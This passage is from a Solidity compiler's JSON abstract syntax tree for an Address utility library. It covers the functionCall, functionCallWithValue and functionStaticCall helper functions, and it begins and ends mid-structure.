"names": [],
"nodeType": "FunctionCall",
"src": "642:72:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
},
"functionReturnParameters": 56,
"id": 63,
"nodeType": "Return",
"src": "635:79:0"
}
]
},
"id": 65,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "functionCall",
"nameLocation": "544:12:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 53,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 50,
"mutability": "mutable",
"name": "target",
"nameLocation": "565:6:0",
"nodeType": "VariableDeclaration",
"scope": 65,
"src": "557:14:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 49,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "557:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 52,
"mutability": "mutable",
"name": "data",
"nameLocation": "586:4:0",
"nodeType": "VariableDeclaration",
"scope": 65,
"src": "573:17:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes"
},
"typeName": {
"id": 51,
"name": "bytes",
"nodeType": "ElementaryTypeName",
"src": "573:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_storage_ptr",
"typeString": "bytes"
}
},
"visibility": "internal"
}
],
"src": "556:35:0"
},
"returnParameters": {
"id": 56,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 55,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 65,
"src": "610:12:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes"
},
"typeName": {
"id": 54,
"name": "bytes",
"nodeType": "ElementaryTypeName",
"src": "610:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_storage_ptr",
"typeString": "bytes"
}
},
"visibility": "internal"
}
],
"src": "609:14:0"
},
"scope": 316,
"src": "535:187:0",
"stateMutability": "nonpayable",
"virtual": false,
"visibility": "internal"
},
{
"body": {
"id": 83,
"nodeType": "Block",
"src": "881:78:0",
"statements": [
{
"expression": {
"arguments": [
{
"id": 77,
"name": "target",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 67,
"src": "921:6:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
{
"id": 78,
"name": "data",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 69,
"src": "929:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
},
{
"hexValue": "30",
"id": 79,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "number",
"lValueRequested": false,
"nodeType": "Literal",
"src": "935:1:0",
"typeDescriptions": {
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
},
"value": "0"
},
{
"id": 80,
"name": "errorMessage",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 71,
"src": "938:12:0",
"typeDescriptions": {
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string memory"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
},
{
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
},
{
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
},
{
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string memory"
}
],
"id": 76,
"name": "functionCallWithValue",
"nodeType": "Identifier",
"overloadedDeclarations": [
103,
146
],
"referencedDeclaration": 146,
"src": "899:21:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$_t_uint256_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$",
"typeString": "function (address,bytes memory,uint256,string memory) returns (bytes memory)"
}
},
"id": 81,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "899:52:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
},
"functionReturnParameters": 75,
"id": 82,
"nodeType": "Return",
"src": "892:59:0"
}
]
},
"id": 84,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "functionCall",
"nameLocation": "739:12:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 72,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 67,
"mutability": "mutable",
"name": "target",
"nameLocation": "770:6:0",
"nodeType": "VariableDeclaration",
"scope": 84,
"src": "762:14:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 66,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "762:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 69,
"mutability": "mutable",
"name": "data",
"nameLocation": "800:4:0",
"nodeType": "VariableDeclaration",
"scope": 84,
"src": "787:17:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes"
},
"typeName": {
"id": 68,
"name": "bytes",
"nodeType": "ElementaryTypeName",
"src": "787:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_storage_ptr",
"typeString": "bytes"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 71,
"mutability": "mutable",
"name": "errorMessage",
"nameLocation": "829:12:0",
"nodeType": "VariableDeclaration",
"scope": 84,
"src": "815:26:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string"
},
"typeName": {
"id": 70,
"name": "string",
"nodeType": "ElementaryTypeName",
"src": "815:6:0",
"typeDescriptions": {
"typeIdentifier": "t_string_storage_ptr",
"typeString": "string"
}
},
"visibility": "internal"
}
],
"src": "751:97:0"
},
"returnParameters": {
"id": 75,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 74,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 84,
"src": "867:12:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes"
},
"typeName": {
"id": 73,
"name": "bytes",
"nodeType": "ElementaryTypeName",
"src": "867:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_storage_ptr",
"typeString": "bytes"
}
},
"visibility": "internal"
}
],
"src": "866:14:0"
},
"scope": 316,
"src": "730:229:0",
"stateMutability": "nonpayable",
"virtual": false,
"visibility": "internal"
},
{
"body": {
"id": 102,
"nodeType": "Block",
"src": "1080:113:0",
"statements": [
{
"expression": {
"arguments": [
{
"id": 96,
"name": "target",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 86,
"src": "1120:6:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
{
"id": 97,
"name": "data",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 88,
"src": "1128:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
},
{
"id": 98,
"name": "value",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 90,
"src": "1134:5:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
{
"hexValue": "416464726573733a206c6f772d6c6576656c2063616c6c20776974682076616c7565206661696c6564",
"id": 99,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "string",
"lValueRequested": false,
"nodeType": "Literal",
"src": "1141:43:0",
"typeDescriptions": {
"typeIdentifier": "t_stringliteral_88a4a0b5e975840320a0475d4027005235904fdb5ece94df156f3d717cb2dbfc",
"typeString": "literal_string \"Address: low-level call with value failed\""
},
"value": "Address: low-level call with value failed"
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
},
{
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
},
{
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
{
"typeIdentifier": "t_stringliteral_88a4a0b5e975840320a0475d4027005235904fdb5ece94df156f3d717cb2dbfc",
"typeString": "literal_string \"Address: low-level call with value failed\""
}
],
"id": 95,
"name": "functionCallWithValue",
"nodeType": "Identifier",
"overloadedDeclarations": [
103,
146
],
"referencedDeclaration": 146,
"src": "1098:21:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_nonpayable$_t_address_$_t_bytes_memory_ptr_$_t_uint256_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$",
"typeString": "function (address,bytes memory,uint256,string memory) returns (bytes memory)"
}
},
"id": 100,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "1098:87:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
},
"functionReturnParameters": 94,
"id": 101,
"nodeType": "Return",
"src": "1091:94:0"
}
]
},
"id": 103,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "functionCallWithValue",
"nameLocation": "976:21:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 91,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 86,
"mutability": "mutable",
"name": "target",
"nameLocation": "1006:6:0",
"nodeType": "VariableDeclaration",
"scope": 103,
"src": "998:14:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 85,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "998:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 88,
"mutability": "mutable",
"name": "data",
"nameLocation": "1027:4:0",
"nodeType": "VariableDeclaration",
"scope": 103,
"src": "1014:17:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes"
},
"typeName": {
"id": 87,
"name": "bytes",
"nodeType": "ElementaryTypeName",
"src": "1014:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_storage_ptr",
"typeString": "bytes"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 90,
"mutability": "mutable",
"name": "value",
"nameLocation": "1041:5:0",
"nodeType": "VariableDeclaration",
"scope": 103,
"src": "1033:13:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 89,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "1033:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
}
],
"src": "997:50:0"
},
"returnParameters": {
"id": 94,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 93,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 103,
"src": "1066:12:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes"
},
"typeName": {
"id": 92,
"name": "bytes",
"nodeType": "ElementaryTypeName",
"src": "1066:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_storage_ptr",
"typeString": "bytes"
}
},
"visibility": "internal"
}
],
"src": "1065:14:0"
},
"scope": 316,
"src": "967:226:0",
"stateMutability": "nonpayable",
"virtual": false,
"visibility": "internal"
},
{
"body": {
"id": 145,
"nodeType": "Block",
"src": "1385:271:0",
"statements": [
{
"expression": {
"arguments": [
{
"commonType": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"id": 123,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"expression": {
"arguments": [
{
"id": 119,
"name": "this",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 4294967268,
"src": "1412:4:0",
"typeDescriptions": {
"typeIdentifier": "t_contract$_Address_$316",
"typeString": "library Address"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_contract$_Address_$316",
"typeString": "library Address"
}
],
"id": 118,
"isConstant": false,
"isLValue": false,
"isPure": true,
"lValueRequested": false,
"nodeType": "ElementaryTypeNameExpression",
"src": "1404:7:0",
"typeDescriptions": {
"typeIdentifier": "t_type$_t_address_$",
"typeString": "type(address)"
},
"typeName": {
"id": 117,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "1404:7:0",
"typeDescriptions": {}
}
},
"id": 120,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "typeConversion",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "1404:13:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"id": 121,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"memberName": "balance",
"nodeType": "MemberAccess",
"src": "1404:21:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"nodeType": "BinaryOperation",
"operator": ">=",
"rightExpression": {
"id": 122,
"name": "value",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 109,
"src": "1429:5:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"src": "1404:30:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
{
"hexValue": "416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c",
"id": 124,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "string",
"lValueRequested": false,
"nodeType": "Literal",
"src": "1436:40:0",
"typeDescriptions": {
"typeIdentifier": "t_stringliteral_565f1a77334fc4792800921178c71e4521acffab18ff9e7885b49377ee80ab4c",
"typeString": "literal_string \"Address: insufficient balance for call\""
},
"value": "Address: insufficient balance for call"
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bool",
"typeString": "bool"
},
{
"typeIdentifier": "t_stringliteral_565f1a77334fc4792800921178c71e4521acffab18ff9e7885b49377ee80ab4c",
"typeString": "literal_string \"Address: insufficient balance for call\""
}
],
"id": 116,
"name": "require",
"nodeType": "Identifier",
"overloadedDeclarations": [
4294967278,
4294967278
],
"referencedDeclaration": 4294967278,
"src": "1396:7:0",
"typeDescriptions": {
"typeIdentifier": "t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$",
"typeString": "function (bool,string memory) pure"
}
},
"id": 125,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "1396:81:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 126,
"nodeType": "ExpressionStatement",
"src": "1396:81:0"
},
{
"assignments": [
128,
130
],
"declarations": [
{
"constant": false,
"id": 128,
"mutability": "mutable",
"name": "success",
"nameLocation": "1494:7:0",
"nodeType": "VariableDeclaration",
"scope": 145,
"src": "1489:12:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"typeName": {
"id": 127,
"name": "bool",
"nodeType": "ElementaryTypeName",
"src": "1489:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 130,
"mutability": "mutable",
"name": "returndata",
"nameLocation": "1516:10:0",
"nodeType": "VariableDeclaration",
"scope": 145,
"src": "1503:23:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes"
},
"typeName": {
"id": 129,
"name": "bytes",
"nodeType": "ElementaryTypeName",
"src": "1503:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_storage_ptr",
"typeString": "bytes"
}
},
"visibility": "internal"
}
],
"id": 137,
"initialValue": {
"arguments": [
{
"id": 135,
"name": "data",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 107,
"src": "1556:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
],
"expression": {
"id": 131,
"name": "target",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 105,
"src": "1530:6:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"id": 132,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"memberName": "call",
"nodeType": "MemberAccess",
"src": "1530:11:0",
"typeDescriptions": {
"typeIdentifier": "t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$",
"typeString": "function (bytes memory) payable returns (bool,bytes memory)"
}
},
"id": 134,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"names": [
"value"
],
"nodeType": "FunctionCallOptions",
"options": [
{
"id": 133,
"name": "value",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 109,
"src": "1549:5:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
}
],
"src": "1530:25:0",
"typeDescriptions": {
"typeIdentifier": "t_function_barecall_payable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$value",
"typeString": "function (bytes memory) payable returns (bool,bytes memory)"
}
},
"id": 136,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "1530:31:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_tuple$_t_bool_$_t_bytes_memory_ptr_$",
"typeString": "tuple(bool,bytes memory)"
}
},
"nodeType": "VariableDeclarationStatement",
"src": "1488:73:0"
},
{
"expression": {
"arguments": [
{
"id": 139,
"name": "target",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 105,
"src": "1606:6:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
{
"id": 140,
"name": "success",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 128,
"src": "1614:7:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
{
"id": 141,
"name": "returndata",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 130,
"src": "1623:10:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
},
{
"id": 142,
"name": "errorMessage",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 111,
"src": "1635:12:0",
"typeDescriptions": {
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string memory"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
},
{
"typeIdentifier": "t_bool",
"typeString": "bool"
},
{
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
},
{
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string memory"
}
],
"id": 138,
"name": "verifyCallResultFromTarget",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 272,
"src": "1579:26:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_address_$_t_bool_$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$",
"typeString": "function (address,bool,bytes memory,string memory) view returns (bytes memory)"
}
},
"id": 143,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "1579:69:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
},
"functionReturnParameters": 115,
"id": 144,
"nodeType": "Return",
"src": "1572:76:0"
}
]
},
"id": 146,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "functionCallWithValue",
"nameLocation": "1210:21:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 112,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 105,
"mutability": "mutable",
"name": "target",
"nameLocation": "1250:6:0",
"nodeType": "VariableDeclaration",
"scope": 146,
"src": "1242:14:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 104,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "1242:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 107,
"mutability": "mutable",
"name": "data",
"nameLocation": "1280:4:0",
"nodeType": "VariableDeclaration",
"scope": 146,
"src": "1267:17:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes"
},
"typeName": {
"id": 106,
"name": "bytes",
"nodeType": "ElementaryTypeName",
"src": "1267:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_storage_ptr",
"typeString": "bytes"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 109,
"mutability": "mutable",
"name": "value",
"nameLocation": "1303:5:0",
"nodeType": "VariableDeclaration",
"scope": 146,
"src": "1295:13:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
},
"typeName": {
"id": 108,
"name": "uint256",
"nodeType": "ElementaryTypeName",
"src": "1295:7:0",
"typeDescriptions": {
"typeIdentifier": "t_uint256",
"typeString": "uint256"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 111,
"mutability": "mutable",
"name": "errorMessage",
"nameLocation": "1333:12:0",
"nodeType": "VariableDeclaration",
"scope": 146,
"src": "1319:26:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_string_memory_ptr",
"typeString": "string"
},
"typeName": {
"id": 110,
"name": "string",
"nodeType": "ElementaryTypeName",
"src": "1319:6:0",
"typeDescriptions": {
"typeIdentifier": "t_string_storage_ptr",
"typeString": "string"
}
},
"visibility": "internal"
}
],
"src": "1231:121:0"
},
"returnParameters": {
"id": 115,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 114,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 146,
"src": "1371:12:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes"
},
"typeName": {
"id": 113,
"name": "bytes",
"nodeType": "ElementaryTypeName",
"src": "1371:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_storage_ptr",
"typeString": "bytes"
}
},
"visibility": "internal"
}
],
"src": "1370:14:0"
},
"scope": 316,
"src": "1201:455:0",
"stateMutability": "nonpayable",
"virtual": false,
"visibility": "internal"
},
{
"body": {
"id": 161,
"nodeType": "Block",
"src": "1764:99:0",
"statements": [
{
"expression": {
"arguments": [
{
"id": 156,
"name": "target",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 148,
"src": "1801:6:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
{
"id": 157,
"name": "data",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 150,
"src": "1809:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
},
{
"hexValue": "416464726573733a206c6f772d6c6576656c207374617469632063616c6c206661696c6564",
"id": 158,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "string",
"lValueRequested": false,
"nodeType": "Literal",
"src": "1815:39:0",
"typeDescriptions": {
"typeIdentifier": "t_stringliteral_90ec82aa826a536a4cbfae44ecfa384680faa9a4b77344bce96aa761ad904df0",
"typeString": "literal_string \"Address: low-level static call failed\""
},
"value": "Address: low-level static call failed"
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
},
{
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
},
{
"typeIdentifier": "t_stringliteral_90ec82aa826a536a4cbfae44ecfa384680faa9a4b77344bce96aa761ad904df0",
"typeString": "literal_string \"Address: low-level static call failed\""
}
],
"id": 155,
"name": "functionStaticCall",
"nodeType": "Identifier",
"overloadedDeclarations": [
162,
190
],
"referencedDeclaration": 190,
"src": "1782:18:0",
"typeDescriptions": {
"typeIdentifier": "t_function_internal_view$_t_address_$_t_bytes_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$",
"typeString": "function (address,bytes memory,string memory) view returns (bytes memory)"
}
},
"id": 159,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "1782:73:0",
"tryCall": false,
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
},
"functionReturnParameters": 154,
"id": 160,
"nodeType": "Return",
"src": "1775:80:0"
}
]
},
"id": 162,
"implemented": true,
"kind": "function",
"modifiers": [],
"name": "functionStaticCall",
"nameLocation": "1673:18:0",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 151,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 148,
"mutability": "mutable",
"name": "target",
"nameLocation": "1700:6:0",
"nodeType": "VariableDeclaration",
"scope": 162,
"src": "1692:14:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 147,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "1692:7:0",
"stateMutability": "nonpayable",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 150,
"mutability": "mutable",
"name": "data",
"nameLocation": "1721:4:0",
"nodeType": "VariableDeclaration",
"scope": 162,
"src": "1708:17:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes"
},
"typeName": {
"id": 149,
"name": "bytes",
"nodeType": "ElementaryTypeName",
"src": "1708:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_storage_ptr",
"typeString": "bytes"
}
},
"visibility": "internal"
}
],
"src": "1691:35:0"
},
"returnParameters": {
"id": 154,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 153,
"mutability": "mutable",
"name": "",
"nameLocation": "-1:-1:-1",
"nodeType": "VariableDeclaration",
"scope": 162,
"src": "1750:12:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes"
},
"typeName": {
"id": 152,
"name": "bytes",
"nodeType": "ElementaryTypeName",
"src": "1750:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_storage_ptr",
"typeString": "bytes"
}
},
"visibility": "internal"
}
],
"src": "1749:14:0"
},
"scope": 316,
"src": "1664:199:0",
"stateMutability": "view",
"virtual": false,
"visibility": "internal"
},
{
"body": {
"id": 189,
"nodeType": "Block",
"src": "2033:171:0",
"statements": [
{
"assignments": [
174,
176
],
"declarations": [
{
"constant": false,
"id": 174,
"mutability": "mutable",
"name": "success",
"nameLocation": "2050:7:0",
"nodeType": "VariableDeclaration",
"scope": 189,
"src": "2045:12:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
},
"typeName": {
"id": 173,
"name": "bool",
"nodeType": "ElementaryTypeName",
"src": "2045:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
},
"visibility": "internal"
},
{
"constant": false,
"id": 176,
"mutability": "mutable",
"name": "returndata",
"nameLocation": "2072:10:0",
"nodeType": "VariableDeclaration",
"scope": 189,
"src": "2059:23:0",
"stateVariable": false,
"storageLocation": "memory",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes"
},
"typeName": {
"id": 175,
"name": "bytes",
"nodeType": "ElementaryTypeName",
"src": "2059:5:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_storage_ptr",
"typeString": "bytes"
}
},
"visibility": "internal"
}
],
"id": 181,
"initialValue": {
"arguments": [
{
"id": 179,
"name": "data",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 166,
"src": "2104:4:0",
"typeDescriptions": {
"typeIdentifier": "t_bytes_memory_ptr",
"typeString": "bytes memory"
}
}
],
"expression": {
"argumentTypes": [
